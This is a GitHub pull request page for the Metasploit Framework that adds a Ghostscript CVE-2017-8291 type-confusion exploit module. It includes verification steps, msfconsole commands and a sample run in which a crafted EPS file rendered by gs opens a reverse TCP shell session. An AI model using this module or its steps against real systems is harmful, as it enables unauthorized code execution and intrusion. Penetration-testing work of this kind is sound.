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Ghostscript CVE-2017-8291 module based on the public PoC #8316

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merged 1 commit into from May 1, 2017

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hdm commented Apr 28, 2017

This module exploits a type confusion error in Ghostscript 9.21 and below. It is based on the public proof-of-concept attached to the original ticket in the bug tracker @ https://bugs.ghostscript.com/show_bug.cgi?id=697808.

Verification

  • Start msfconsole
  • use exploit/unix/fileformat/ghostscript_type_confusion
  • exploit
  • In a shell, run: gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f /home/hdm/.msf4/local/msf.eps
  • Verify that a session has been created

Sample run:

msf > use exploit/unix/fileformat/ghostscript_type_confusion 
msf exploit(ghostscript_type_confusion) > exploit

[*] Started reverse TCP handler on 192.168.0.3:4444 
[+] msf.eps stored at /home/hdm/.msf4/local/msf.eps
[*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.3:54164) at 2017-04-28 10:00:31 -0500

id
uid=1000(hdm) gid=1002(hdm) groups=1002(hdm)
exit

[*] 192.168.0.3 - Command shell session 1 closed.  Reason: Died from EOFError

msf exploit(ghostscript_type_confusion) > 
@wvu-r7 wvu-r7 self-assigned this Apr 28, 2017
@wvu-r7 wvu-r7 merged commit afc804f into rapid7:master May 1, 2017
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wvu-r7 added a commit that referenced this pull request May 1, 2017
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wvu-r7 commented May 1, 2017

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wvu-r7 commented May 8, 2017

Release Notes

The exploit/unix/fileformat/ghostscript_type_confusion module has been added to the framework. It exploits a type confusion error in Ghostscript 9.21 and below.

@tdoan-r7 tdoan-r7 added the rn-exploit label May 10, 2017
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